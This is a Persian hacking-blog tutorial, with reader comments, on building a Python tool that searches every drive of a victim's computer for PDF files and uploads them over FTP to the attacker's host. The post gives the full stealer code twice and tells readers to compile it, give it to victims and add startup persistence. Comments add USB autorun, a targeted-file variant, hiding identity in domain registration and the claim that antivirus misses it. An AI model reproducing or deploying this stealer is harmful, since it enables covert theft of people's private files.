ساخت ابزار سرقت اطلاعات با برنامه نویسی پایتون :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۶ ارديبهشت ۰۳، ۱۶:۱۵ - hidden
    test

با سلام خدمت تک تک دوستان قدیمی و جدید وبلاگ ViRus32

توی این پست قراره به شیوه ای نوین ، اطلاعات مشخصی از سیستم یه کاربر رو بدزدیم و داخل سیستم یا هاستمون مشاهده کنیم :)

اینکار بیشتر بدرد بچه هایی که امتحان دارن میخوره

چون میتونن فایلای مشخصی مثل pdf یا فایلای این چنینی رو برای خودشون آپلود کنن که حجمشون کمه

اگه بخوایم اطلاعات رو سیستم برنامه نویس قرار بگیره باید از طریق برنامه نویسی سوکت اینکار رو انجامش بدیم

که مشکلاتی هم داره

مثلا نیاز به یه آی پی ثابت داره ، نیاز به یه سیستم روشن داره ، چون وقت و بی وقت قراره اطلاعات برای ما ارسال بشه

در نتیجه از نظر عقلانی بهترین کار ممکن این هستش که ما اطلاعات رو از طریق کتابخونه ی ftplib بیایم و داخل هاستمون ذخیره کنیم

در نتیجه قبل از هر کاری یه هاست وابسته به حجمی که مد نظرتونه تهیه کنین

بعد از تهیه کردن هاست ، یه اکانت Ftp برای خودتون درست کنین

که آموزش ساختشم ماشالا هزار ماشالا تو گوگل پر هستش...

البته نمیدونم اینکار نیاز به دامنه داره یا نه ، چون من نیازی نمیبینم که دامنه باشه....

بخاطر همین پیشنهاد میکنم اول یه تست کنین ببینین اگه با هاست خالی میشه با همون هاست خالی انجام بدین

و اگر هم نشد ، بهتره یه دامنه ir هم تهیه کنین که تقریبا هزینش با هاست و اینجور چیزا کلا 10 هزار تومن بیشتر در نمیاد :)

چون من خودم از پارسال یه دامنه و هاست داشتم که هاستم وقتش تموم شده بود ، تنها کاری که کردم این بود که یه هاست فعال کردم تا کارم راه بیفته

به هر حال یه اکانت ftp برای خودتون جور کنین و بیاین به جای حرف زدن بریم سر اصل مطلب

همونطور که گفتم اگه بخوایم تمامی اطلاعات رو سرقت کنیم

اینترنت زیادی میبره و علاوه بر اون ، موضوع مهمی که مطرحه اینه که اگه فایلای طرف یه گیگ بود و سرعت آپلودش مثل سرعت Dial-Up بود چطور ؟ :(

در نتیجه بهترین کار ممکن این هستش که ما مشخص کنیم چه فایلایی برامون ارسال بشه

مثلا من تو سیستم هدفم فقط فایلای pdf رو میخواستم

خب دیگه صحبت بسه ... :)

اول از همه کتابخونه هایی پایین رو اضافه کنین به اول اسکریپتتون

import os
import ftplib
import random

حالا پسوند مد نظرمون رو برای ارسال مشخص میکنیم

def discoverFiles(startpath):
    extensions = [
        'pdf'
    ]

    for dirpath, dirs, files in os.walk(startpath):
        for i in files:
            absolute_path = os.path.abspath(os.path.join(dirpath, i))
            ext = absolute_path.split('.')[-1]
            if ext in extensions:
                yield absolute_path

که تو کدهای بالا پسوند مد نظر من همونطور که گفته بودم pdf ها هستن....

حالا باید بیایم و بگیم که با استفاده از این تابع کل درایو هایی که احتمال میدیم رو سیستم قربانی نصب باشه ، اسم فایلها داخل یه متغیر ریخته بشه

اما از اونجایی که اینکار یه خرده اشتباهه ، در نتیجه ما میام و کل درایوهارو لیست میکنیم ( از A تا Z )

که اگه یه موقع کاربر اسم درایواش فرق میکرد یا موارد دیگه....

به مشکلی بر نخوریم

a_files = discoverFiles("A:\\")
b_files = discoverFiles("B:\\")
c_files = discoverFiles("C:\\")
d_files = discoverFiles("D:\\")
e_files = discoverFiles("E:\\")
f_files = discoverFiles("F:\\")
g_files = discoverFiles("G:\\")
h_files = discoverFiles("H:\\")
i_files = discoverFiles("I:\\")
j_files = discoverFiles("J:\\")
k_files = discoverFiles("K:\\")
l_files = discoverFiles("L:\\")
m_files = discoverFiles("M:\\")
n_files = discoverFiles("N:\\")
o_files = discoverFiles("O:\\")
p_files = discoverFiles("P:\\")
q_files = discoverFiles("Q:\\")
r_files = discoverFiles("R:\\")
s_files = discoverFiles("S:\\")
t_files = discoverFiles("T:\\")
u_files = discoverFiles("U:\\")
v_files = discoverFiles("V:\\")
w_files = discoverFiles("W:\\")
x_files = discoverFiles("X:\\")
y_files = discoverFiles("Y:\\")
z_files = discoverFiles("Z:\\")

کد بعدی ما این هستش که باید اطلاعات لاگینمون داخل یه متغیر قرار بگیره که بعدش بتونیم از اون توابع کتابخونه استفاده کنیم

ftp = ftplib.FTP('IP','Username','Password')

حالا باید از درایو A تا درایو Z شروع کنیم به ارسال فایلها ، اما از اونجایی که ممکنه فایل های هم نام داخل یه سیستم پیدا بشه و پروسه ی ما به مشکل بخوره ، در نتیجه بهتره برای هر فایلی که قراره تو اکانتمون آپلود بشه یه آی دی هم در نظر بگیریم

با کدهای پایین میتونیم هم دستور ارسال اطلاعات رو بدیم و هم دستور ایجاد آی دی روی اون فایل بعد از آپلود شدن داخل هاست ....

for i in a_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in b_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in d_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in e_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in f_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in g_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in h_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in i_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in j_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in k_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in l_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in m_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in n_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in o_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in p_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in q_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in r_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in s_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in t_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in u_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in v_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in w_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in x_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in y_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass
    
for i in z_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

حالا وقت بستن اکانتی که باز کردیم هستش

ftp.quit()

اگه کمی به کدها دقت کنین متوجه میشین که من کدهایی که تو پست های آموزشی قبل استفاده کرده بودم رو توی یه پست استفاده کردم و با استفاده از اون یه همچین ابزاری ساختم

در نتیجه به پست هایی که میزارم حتما اهمیت بدین و سعی کنین یه خرده روی اونها فکر کنین

چون همین الانشم میتونیم کلی ابزار با همچین کدهایی بسازیم ، مثل باج افزار ، ویروس تغییر نام ، و کلی چیز دیگه... 

که اینکار چون غیرقانونیه بخاطر همین من از همچین کاری صرف نظر میکنم.... و بقیه راه رو به خودتون میسپارم....

حالا هم کدهایی که بالا استفاده کردم رو یکجا قرار میدم تا تو کپی کردن راحت تر باشین :)

import os
import ftplib
import random

def discoverFiles(startpath):
    extensions = [
        'pdf'
    ]

    for dirpath, dirs, files in os.walk(startpath):
        for i in files:
            absolute_path = os.path.abspath(os.path.join(dirpath, i))
            ext = absolute_path.split('.')[-1]
            if ext in extensions:
                yield absolute_path

a_files = discoverFiles("A:\\")
b_files = discoverFiles("B:\\")
c_files = discoverFiles("C:\\")
d_files = discoverFiles("D:\\")
e_files = discoverFiles("E:\\")
f_files = discoverFiles("F:\\")
g_files = discoverFiles("G:\\")
h_files = discoverFiles("H:\\")
i_files = discoverFiles("I:\\")
j_files = discoverFiles("J:\\")
k_files = discoverFiles("K:\\")
l_files = discoverFiles("L:\\")
m_files = discoverFiles("M:\\")
n_files = discoverFiles("N:\\")
o_files = discoverFiles("O:\\")
p_files = discoverFiles("P:\\")
q_files = discoverFiles("Q:\\")
r_files = discoverFiles("R:\\")
s_files = discoverFiles("S:\\")
t_files = discoverFiles("T:\\")
u_files = discoverFiles("U:\\")
v_files = discoverFiles("V:\\")
w_files = discoverFiles("W:\\")
x_files = discoverFiles("X:\\")
y_files = discoverFiles("Y:\\")
z_files = discoverFiles("Z:\\")

ftp = ftplib.FTP('IP-HOST','Username','Password')

for i in a_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in b_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in d_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in e_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in f_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in g_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in h_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in i_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in j_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in k_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in l_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in m_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in n_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in o_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in p_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in q_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in r_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in s_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in t_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in u_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in v_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in w_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in x_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in y_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass
    
for i in z_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

ftp.quit()

حالا کافیه کدهای بالا رو کامپایل کنین و به کاربر بدین که آموش اینکار رو هم تو این پست گفته بودم....

همچنین بهتره ویژگی استارت آپ رو هم بهش اضافه کنین که اگه سیستم قربانی ری استارت شد ، برنامه شروع کنه به آپلود مجدد....

که آموزش کپی کردن برنامه تو استارت آپ رو هم اینجا گفته بودم

دیگه چیزی به ذهنم نمیرسه :)

موفق باشید

نظر (۲۷)

سلام 
می شه کاری کرد که فایل ها رو برامون ایمیل کنه؟
Virus32 Virus 32 :
سلام
تو دنیای برنامه نویسی هیچ کاری نشد نداره
داداش این جوری فک کنم اگه طرف یه ذره مشکوک بشه ، راحت بتونه ردمون رو بزنه ، مثلا با بعضی برنامه ها مثل همون netBalancer اگه بیاد ببینه که چی آپلود شده ، می تونه آدرس هاست و اینا رو پیدا کنه فک کنم
Virus32 MR_C0D3R ‌ :
از نظر ردیابی که آره کارش راحته...
اگه طرف آماتور نباشه میتونه با یه اسنیفر همه چیز رو زیر و رو کنه
بعدا که فهمید اطلاعات هاست چیه
یه Whois بگیره و تمام....
البته میتونیم موقع ساخت دامنه آدرس خونه و اینجور چیزارو یه چیز دیگه بدیم....
سلام میگم با یک کد بت هم میشد این کار های رو کرد البته باید در کد این دستور رو میزدی که اطلاعات رو کپی کنه تو فلش
Virus32 MR_C0D3R ‌ :
پست حافظه جاسوسی بخاطر همونه....
سلام.قابلیت اتواستارت رو چجوری اضافه کنم بهش؟کدش چیه؟چون میخوام با فلش اتو استارت شه
Virus32 MR_C0D3R ‌ :
سلام
آخر پست رو که بخونی لینک دادم....
خب الان که نمیشه بری تو دانشگاه به کامپیوتر مدیر این برنامه رو بدی که😂شک میکنه. به غیر از استارت اپ میخوام یه قابلیت بزارم که ابزار روی فلش باشه و وقتی هم فلش رو از پشت کیس بهش زدم خودکار ابزار اجرا شه و شروع به اپلودو اینکارا کنه...روی ویندوز سون خودکار اجرا میشه یا ن؟
Virus32 MR_C0D3R ‌ :
این پست رو + کامنتاش بخون
خودت متوجه میشی که میشه یا نمیشه :(
سلام خسه نباشید.
میشه بگید از کجا ماژول ftplib رو یاد بگیریم؟
Virus32 MR_C0D3R ‌ :
سلام
سلام خسته نباشید.
میشه بگید وقتی دنبال یه فایل خاص میگردیم چیکار کنیم ؟

مثلا میخوایم فایل log.txt   رو توی هر درایوی جستجو کنه وقتی پیدا کرد مثلا اپلود کنه یا ایمیل کنه .



دوما اینو فایروال یا انتی ویروس شناسایی نمیکنه ؟
Virus32 MR_C0D3R ‌ :
سلام
برای اون هم تقریبا این شکلی هستش و فقط یه خرده تغییر لازمه
اول توی قسمت discoverFiles پسوند txt رو ادد کن
بعدا شرط بزار و بگو اگه توی جستجوی فایل ها با اسم Log.txt مواجه شدی برام ارسالش کن
for i in d_files:
    try:
        if(i == 'Log.txt'):
            Str_1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
            Str_2 = '1234567890'
            rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
            rnd = '[' + rnd + ']'
            fp = open(i, 'rb')
            ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
            fp.close()
        else:
            continue
    except:
        pass
این الان برای درایو D هستش که شما هم باید درایوای دیگه رو بهش اضافه کنی
برای سوال دومت هم درست حدس زدین فایروال و آنتی ویروس کاری نداره
مگر اینکه بعد ها آنتی ویروس ها گیر بدن
داداش دمت گرم واقعا اول داری ولی دوتا سوال دارم اگه سریع جواب بدی روانیت میشم خدایی
